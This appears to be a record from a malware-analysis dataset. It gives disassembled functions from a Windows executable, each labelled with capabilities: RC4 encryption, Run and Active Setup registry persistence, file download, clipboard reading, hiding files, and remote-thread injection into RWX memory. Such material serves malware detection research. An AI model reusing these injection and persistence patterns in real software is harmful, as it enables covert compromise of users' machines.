joyce8/EMBER2024-capa huggingface dataset:
Function at 0x13144dfc
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffaf0
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
call fcn.13143e34
xor eax, eax
push ebp
push 0x13144f9e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
call fcn.13143b28
test eax, eax
jle 0x13144f88
cmp dword [ebp - 8], 0
jbe 0x13144f88
mov eax, dword [ebp - 0xc]
call fcn.13143b28
cmp eax, 0x80
jle 0x13144e6c
mov eax, dword [ebp - 0xc]
call fcn.13143b18
mov edx, eax
lea eax, [ebp - 0x510]
mov ecx, pe_nt_image_headers32
call fcn.13144df4
jmp 0x13144e8d
mov eax, dword [ebp - 0xc]
call fcn.13143b28
add eax, eax
push eax
mov eax, dword [ebp - 0xc]
call fcn.13143b18
mov edx, eax
lea eax, [ebp - 0x510]
pop ecx
call fcn.13144df4
xor edi, edi
lea eax, [ebp - 0x410]
mov dword [eax], edi
inc edi
add eax, 4
cmp edi, 0x100
jne 0x13144e95
xor esi, esi
xor edi, edi
lea ebx, [ebp - 0x410]
mov eax, dword [ebp - 0xc]
call fcn.13143b28
push eax
mov eax, edi
pop edx
mov ecx, edx
cdq
idiv ecx
xor eax, eax
mov al, byte [ebp + edx - 0x510]
add esi, dword [ebx]
add eax, esi
and eax, 0x800000ff
jns 0x13144ed9
dec eax
or eax, 0xffffff00
inc eax
mov esi, eax
mov al, byte [ebx]
mov edx, dword [ebp + esi*4 - 0x410]
mov dword [ebx], edx
and eax, 0xff
mov dword [ebp + esi*4 - 0x410], eax
inc edi
add ebx, 4
cmp edi, 0x100
jne 0x13144ead
xor esi, esi
xor edx, edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
dec ecx
test ecx, ecx
jl 0x13144f88
inc ecx
inc esi
and esi, 0x800000ff
jns 0x13144f22
dec esi
or esi, 0xffffff00
inc esi
add edx, dword [ebp + esi*4 - 0x410]
and edx, 0x800000ff
jns 0x13144f39
dec edx
or edx, 0xffffff00
inc edx
mov al, byte [ebp + esi*4 - 0x410]
mov ebx, dword [ebp + edx*4 - 0x410]
mov dword [ebp + esi*4 - 0x410], ebx
and eax, 0xff
mov dword [ebp + edx*4 - 0x410], eax
mov eax, dword [ebp + esi*4 - 0x410]
add eax, dword [ebp + edx*4 - 0x410]
and eax, 0x800000ff
jns 0x13144f76
dec eax
or eax, 0xffffff00
inc eax
mov al, byte [ebp + eax*4 - 0x410]
mov ebx, dword [ebp - 0x10]
xor byte [ebx], al
inc dword [ebp - 0x10]
dec ecx
jne 0x13144f11
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13144fa5
lea eax, [ebp - 0xc]
call fcn.131439d0
ret
Function at 0x13145100
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
lea eax, [ebp - 4]
call fcn.13143e34
lea eax, [ebp - 8]
call fcn.13143e34
lea eax, [ebp + 0xc]
call fcn.13143e34
xor eax, eax
push ebp
push 0x131451ec
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, dword [ebp + 0xc]
call fcn.13143a0c
lea eax, [ebp - 0xc]
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.13143b18
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x131451c9
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.13143b18
mov esi, eax
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x131451c0
mov edx, dword [ebp - 0x14]
sar edx, 1
jns 0x1314518c
adc edx, 0
mov eax, ebx
call fcn.13143df0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx]
call fcn.13143b18
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, dword [ebx]
call fcn.13143b28
mov edx, eax
dec edx
mov eax, ebx
call fcn.13143df0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x131451f3
lea eax, [ebp - 8]
mov edx, 2
call fcn.131439e8
lea eax, [ebp + 0xc]
call fcn.131439d0
ret

Function at 0x131451fc
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
lea eax, [ebp - 4]
call fcn.13143e34
lea eax, [ebp - 8]
call fcn.13143e34
lea eax, [ebp + 0xc]
call fcn.13143e34
xor eax, eax
push ebp
push 0x131452a5
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.13143b18
push eax
push esi
call sub.advapi32.dll_RegCreateKeyW
mov eax, dword [ebp + 0xc]
call fcn.13143b28
add eax, eax
push eax
mov eax, dword [ebp + 0xc]
call fcn.13143b18
push eax
mov eax, dword [ebp + 8]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.13143b18
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExW
test eax, eax
jne 0x13145279
mov bl, 1
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x131452ac
lea eax, [ebp - 8]
mov edx, 2
call fcn.131439e8
lea eax, [ebp + 0xc]
call fcn.131439d0
ret

Function at 0x131452b8
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffdf4
mov ebx, eax
push esp
push 0x104
call sub.KERNEL32.DLL_GetTempPathW
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.13143aec
add esp, 0x20c
pop ebx
ret
Function at 0x131452e4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf0
push ebx
xor edx, edx
mov dword [ebp - 0x210], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x13145358
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x20a]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryW
lea eax, [ebp - 0x210]
lea edx, [ebp - 0x20a]
mov ecx, 0x105
call fcn.13143aec
mov edx, dword [ebp - 0x210]
mov eax, ebx
mov ecx, 0x13145368
call fcn.13143b94
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1314535f
lea eax, [ebp - 0x210]
call fcn.131439d0
ret

Function at 0x1314536c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf0
push ebx
xor edx, edx
mov dword [ebp - 0x210], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x131453e0
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x20a]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryW
lea eax, [ebp - 0x210]
lea edx, [ebp - 0x20a]
mov ecx, 0x105
call fcn.13143aec
mov edx, dword [ebp - 0x210]
mov eax, ebx
mov ecx, 0x131453f0
call fcn.13143b94
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x131453e7
lea eax, [ebp - 0x210]
call fcn.131439d0
ret

Function at 0x13145458
Capabilities:
Delete file
Get common file path

Disassembly:
push ebx
push esi
add esp, 0xfffffdf4
mov esi, eax
push esp
push 0x104
call sub.KERNEL32.DLL_GetTempPathW
mov ebx, eax
mov eax, dword [0x1314c0b4]
call fcn.13143b28
add eax, eax
push eax
mov eax, dword [0x1314c0b4]
call fcn.13143b18
mov edx, eax
lea eax, [esp + ebx*2 + 4]
pop ecx
call fcn.13144cc8
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [esp + 0x18]
push eax
call sub.KERNEL32.DLL_CreateFileW
push eax
call sub.KERNEL32.DLL_CloseHandle
push esi
push 0
lea eax, [esp + 8]
push eax
call sub.shell32.dll_FindExecutableW
push esp
call sub.KERNEL32.DLL_DeleteFileW
add esp, 0x20c
pop esi
pop ebx
ret
Function at 0x13145534
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdec
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x1314562f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.13144688
lea eax, [ebp - 0x212]
mov edx, 0x20a
call fcn.13145d2c
lea eax, [ebp - 8]
call fcn.13144688
push eax
call sub.shell32.dll_SHGetMalloc
cmp dword [ebp - 8], 0
jne 0x13145599
mov edi, esi
lea esi, [ebp - 0x212]
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
jmp 0x13145619
xor eax, eax
push ebp
push 0x13145612
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
push ebx
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
call fcn.13145510
test al, al
je 0x131455e6
lea eax, [ebp - 0x212]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.shell32.dll_SHGetPathFromIDListW
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x131455e6
lea eax, [ebp - 0x212]
mov edx, 0x20a
call fcn.13145d2c
mov edi, esi
lea esi, [ebp - 0x212]
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13145619
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x14]
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13145636
lea eax, [ebp - 8]
call fcn.13144688
ret

Function at 0x13145640
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
xor ebx, ebx
push 0
push 0
push 2
push 0
push 2
push 0x40000000
push eax
call sub.KERNEL32.DLL_CreateFileW
mov esi, eax
cmp esi, 0xffffffff
je 0x13145696
cmp dword [ebp + 0xc], 0
jne 0x1314567f
cmp dword [ebp + 8], 0xffffffff
jne 0x1314567f
push 0
push 0
push 0
push esi
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push eax
push edi
push esi
call sub.KERNEL32.DLL_WriteFile
cmp eax, 1
sbb ebx, ebx
inc ebx
push esi
call sub.KERNEL32.DLL_CloseHandle
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x131457c4
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.131439d0
test esi, esi
jne 0x131457fd
push 0x20a
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameW
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.13143aec
jmp 0x13145821
call sub.KERNEL32.DLL_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.131456a8
mov edi, eax
test esi, esi
je 0x13145821
mov eax, dword [ebx]
xor edx, edx
call fcn.13143c40
je 0x13145821
dec esi
jmp 0x13145804
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x1314582c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push eax
call sub.KERNEL32.DLL_GetFileAttributesW
cmp eax, 0xffffffff
je 0x1314583b
test al, 0x10
jne 0x1314583e
xor eax, eax
ret
mov al, 1
ret
Function at 0x13145844
Capabilities:
Create directory

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffff7dc
mov esi, eax
mov edi, esp
mov bl, 1
mov eax, esi
call fcn.1314582c
test al, al
jne 0x13145923
test esi, esi
je 0x1314591a
push esi
call sub.KERNEL32.DLL_lstrlenW
mov ebx, eax
add ebx, ebx
mov edx, edi
mov eax, esi
mov ecx, ebx
call fcn.131425ec
mov eax, ebx
cmp eax, 0x207
ja 0x1314589b
lea edx, [edi + eax*2]
mov word [edx], 0
inc eax
add edx, 2
cmp eax, 0x208
jne 0x1314588b
mov eax, 0x208
lea edx, [esp + 0x412]
mov word [edx], 0
add edx, 2
dec eax
jne 0x131458a7
xor ebx, ebx
mov ax, word [edi + ebx*2]
mov word [esp + ebx*2 + 0x412], ax
jmp 0x13145913
mov word [esp + ebx*2 + 0x412], ax
inc ebx
mov ax, word [edi + ebx*2]
cmp ax, 0x5c
je 0x131458dc
test ax, ax
jne 0x131458c4
mov ax, word [edi + ebx*2]
mov word [esp + ebx*2 + 0x412], ax
inc ebx
lea eax, [esp + 0x412]
call fcn.1314582c
test al, al
jne 0x13145913
push 0
lea eax, [esp + 0x416]
push eax
call sub.KERNEL32.DLL_CreateDirectoryW
mov eax, esi
call fcn.1314582c
test al, al
jne 0x1314591a
cmp word [edi + ebx*2], 0
jne 0x131458cd
mov eax, esi
call fcn.1314582c
mov ebx, eax
mov eax, ebx
add esp, 0x824
pop edi
pop esi
pop ebx
ret

Function at 0x13145958
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebx
push esi
add esp, 0xfffffff4
mov esi, edx
mov ebx, eax
mov dword [esp], 0
mov dword [esp + 4], 0
xor eax, eax
mov dword [esi], eax
mov eax, ebx
call fcn.13145930
test al, al
je 0x131459d1
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.DLL_CreateFileW
mov ebx, eax
cmp ebx, 0xffffffff
je 0x131459d1
push 0
push ebx
call sub.KERNEL32.DLL_GetFileSize
xor edx, edx
mov dword [esp], eax
mov dword [esp + 4], edx
mov eax, dword [esp]
call fcn.131424c8
mov dword [esi], eax
push 0
lea eax, [esp + 0xc]
push eax
mov eax, dword [esp + 8]
push eax
mov eax, dword [esi]
push eax
push ebx
call sub.KERNEL32.DLL_ReadFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [esp]
mov edx, dword [esp + 4]
add esp, 0xc
pop esi
pop ebx
ret

Function at 0x131459e0
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebx
mov ebx, eax
push ebx
call sub.KERNEL32.DLL_GetFileAttributesW
or eax, 2
or eax, 1
or eax, 4
push eax
push ebx
call sub.KERNEL32.DLL_SetFileAttributesW
pop ebx
ret
Function at 0x13145a20
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
lea eax, [ebp - 4]
call fcn.13143e34
xor eax, eax
push ebp
push 0x13145abb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.13143b28
add eax, eax
push eax
lea eax, [ebp - 8]
mov ecx, 1
mov edx, dword [0x131459fc]
call fcn.1314453c
add esp, 4
mov eax, dword [ebp - 4]
call fcn.13143b28
add eax, eax
push eax
mov eax, dword [ebp - 4]
call fcn.13143b18
mov edx, eax
mov eax, dword [ebp - 8]
pop ecx
call fcn.13144cc8
mov eax, dword [ebp - 8]
push eax
push ebx
call sub.shlwapi.dll_SHDeleteKeyW
test eax, eax
sete al
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13145ac2
lea eax, [ebp - 8]
mov edx, dword [0x131459fc]
call fcn.13144548
lea eax, [ebp - 4]
call fcn.131439d0
ret

Function at 0x13145c04
Capabilities:
Copy file
Download url
Receive data

Disassembly:
push ebx
push esi
add esp, 0xfffffdf4
mov esi, edx
mov ebx, eax
push 0
push 0x10
push 0x104
lea eax, [esp + 0xc]
push eax
push ebx
push 0
call sub.URLMON.DLL_URLDownloadToCacheFileW
test eax, eax
jne 0x13145c3f
push 0
push esi
lea eax, [esp + 8]
push eax
call sub.KERNEL32.DLL_CopyFileW
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x13145c41
xor eax, eax
add esp, 0x20c
pop esi
pop ebx
ret

Function at 0x13145c68
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, ecx
mov ebp, edx
xor ebx, ebx
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
call sub.KERNEL32.DLL_CreateFileW
mov edi, eax
cmp edi, 0xffffffff
je 0x13145cd9
push 0
push edi
call sub.KERNEL32.DLL_GetFileSize
mov dword [esi], eax
push 0
push 0
push 0
push edi
call sub.KERNEL32.DLL_SetFilePointer
push 4
push 0x1000
mov eax, dword [esi]
push eax
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [ebp], eax
push 0
lea eax, [esp + 4]
push eax
mov eax, dword [esi]
push eax
mov eax, dword [ebp]
push eax
push edi
call sub.KERNEL32.DLL_ReadFile
test eax, eax
je 0x13145cd3
mov bl, 1
push edi
call sub.KERNEL32.DLL_CloseHandle
mov eax, ebx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x13145d9c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 4]
push ecx
mov ecx, dword [ebp + 8]
push ecx
push edx
push eax
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov ebx, eax
push esi
push ebx
call sub.KERNEL32.DLL_SetThreadPriority
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x13145dcc
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, eax
push 1
push esi
call sub.KERNEL32.DLL_TerminateThread
cmp eax, 1
sbb ebx, ebx
inc ebx
push esi
call sub.KERNEL32.DLL_CloseHandle
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x13145e4c
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov ebx, ecx
mov edi, edx
mov esi, eax
mov byte [ebp - 1], 1
mov dword [ebx], 0
mov dword [ebx + 4], 0
push esi
call sub.user32.dll_OpenClipboard
test eax, eax
je 0x13145f00
xor eax, eax
push ebp
push 0x13145ef9
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xd
call sub.user32.dll_GetClipboardData
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x13145ee2
xor eax, eax
push ebp
push 0x13145edb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_GlobalLock
mov dword [edi], eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_GlobalSize
sub eax, 2
xor edx, edx
mov dword [ebx], eax
mov dword [ebx + 4], edx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13145ee6
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_GlobalUnlock
ret
mov byte [ebp - 1], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13145f04
call sub.user32.dll_CloseClipboard
ret
mov byte [ebp - 1], 0
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x13145f7c
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffec
mov dword [esp + 4], ecx
mov dword [esp], edx
mov ebx, eax
xor eax, eax
mov dword [esp + 8], eax
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov ecx, eax
mov eax, ecx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov esi, dword [eax + 0x50]
mov edi, dword [eax + 0x34]
push 0x8000
push 0
push edi
push ebx
call sub.KERNEL32.DLL_VirtualFreeEx
push 0x40
push 0x3000
push esi
push edi
push ebx
call sub.KERNEL32.DLL_VirtualAllocEx
mov ebp, eax
test ebp, ebp
je 0x13146018
lea eax, [esp + 0xc]
push eax
push esi
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push eax
push edi
push ebx
call sub.KERNEL32.DLL_WriteProcessMemory
cmp esi, dword [esp + 0xc]
ja 0x13146018
lea eax, [esp + 0x10]
push eax
push 0
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esp + 0xc]
push eax
push 0
push 0
push ebx
call sub.KERNEL32.DLL_CreateRemoteThread
push ebx
call sub.KERNEL32.DLL_CloseHandle
mov dword [esp + 8], ebp
mov eax, dword [esp + 8]
add esp, 0x14
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x13146024
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffda0
mov esi, eax
lea edi, [esp]
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor ebx, ebx
lea eax, [esp + 0x21c]
mov edx, 0x44
call fcn.13145d2c
lea eax, [esp + 0x20c]
push eax
lea eax, [esp + 0x220]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea eax, [esp + 0x20]
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessW
test eax, eax
je 0x13146088
mov ebx, dword [esp + 0x20c]
push 0x64
call sub.KERNEL32.DLL_Sleep
mov eax, ebx
add esp, 0x260
pop edi
pop esi
pop ebx
ret
Function at 0x13146e34
Capabilities:
Persist via active setup registry key
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa0c
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x5e8], ecx
mov dword [ebp - 0x5ec], ecx
mov dword [ebp - 0x5f0], ecx
mov dword [ebp - 0x5f4], ecx
mov dword [ebp - 0x5dc], ecx
mov dword [ebp - 0x5e0], ecx
mov dword [ebp - 0x5e4], ecx
mov dword [ebp - 0x5d8], ecx
mov dword [ebp - 0x5d4], ecx
mov esi, edx
lea edi, [ebp - 0x5d0]
mov ecx, 0x173
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.13143e34
xor eax, eax
push ebp
push 0x1314703e
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebp - 0x398], 0
je 0x13146fe8
cmp byte [ebp - 0x318], 1
jne 0x13146ee6
mov eax, dword [ebp - 4]
push eax
push 2
lea eax, [ebp - 0x5d4]
lea edx, [ebp - 0x396]
mov ecx, 0xb
call fcn.13143aec
mov ecx, dword [ebp - 0x5d4]
mov edx, 0x13147050
mov eax, 0x80000002
call fcn.131451fc
cmp byte [ebp - 0x317], 1
jne 0x13146f20
mov eax, dword [ebp - 4]
push eax
push 2
lea eax, [ebp - 0x5d8]
lea edx, [ebp - 0x380]
mov ecx, 0xb
call fcn.13143aec
mov ecx, dword [ebp - 0x5d8]
mov edx, 0x13147050
mov eax, 0x80000001
call fcn.131451fc
cmp byte [ebp - 0x316], 1
jne 0x13146fe8
lea eax, [ebp - 0x5e4]
lea edx, [ebp - 0x36a]
mov ecx, 0x29
call fcn.13143718
mov ecx, dword [ebp - 0x5e4]
lea eax, [ebp - 0x5e0]
mov edx, 0x131470b4
call fcn.13143794
mov edx, dword [ebp - 0x5e0]
lea eax, [ebp - 0x5dc]
call fcn.13143b08
mov edx, dword [ebp - 0x5dc]
mov eax, 0x80000001
call fcn.13145a20
lea eax, [ebp - 0x5e8]
mov ecx, 0x131470f0
mov edx, dword [ebp - 4]
call fcn.13143b94
mov eax, dword [ebp - 0x5e8]
push eax
push 2
lea eax, [ebp - 0x5f4]
lea edx, [ebp - 0x36a]
mov ecx, 0x29
call fcn.13143718
mov ecx, dword [ebp - 0x5f4]
mov edx, 0x131470b4
lea eax, [ebp - 0x5f0]
call fcn.13143794
mov edx, dword [ebp - 0x5f0]
lea eax, [ebp - 0x5ec]
call fcn.13143b08
mov edx, dword [ebp - 0x5ec]
mov ecx, 0x13147108
mov eax, 0x80000002
call fcn.131451fc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13147045
lea eax, [ebp - 0x5f4]
mov edx, 2
call fcn.13143568
lea eax, [ebp - 0x5ec]
mov edx, 2
call fcn.131439e8
lea eax, [ebp - 0x5e4]
mov edx, 2
call fcn.13143568
lea eax, [ebp - 0x5dc]
mov edx, 3
call fcn.131439e8
lea eax, [ebp - 4]
call fcn.131439d0
ret

Function at 0x1314725c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffff0
xor ebx, ebx
push esp
push 0x20019
push 0
push 0x1314eb04
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x131472be
mov dword [esp + 0xc], 4
mov dword [esp + 8], 4
lea eax, [esp + 8]
push eax
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x14]
push eax
push 0
push 0x131472c8
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x131472b5
mov ebx, dword [esp + 4]
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey
mov eax, ebx
add esp, 0x10
pop ebx
ret
Function at 0x131472dc
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov esi, eax
xor ebx, ebx
push ebx
lea eax, [esp + 4]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push 0x1314eb04
push 0x80000001
call sub.advapi32.dll_RegCreateKeyExW
test eax, eax
jne 0x1314733a
mov edx, 4
mov eax, 4
mov dword [esp + 4], esi
push eax
lea eax, [esp + 8]
push eax
push edx
push 0
push 0x13147340
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegSetValueExW
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey
pop ecx
pop edx
pop esi
pop ebx
ret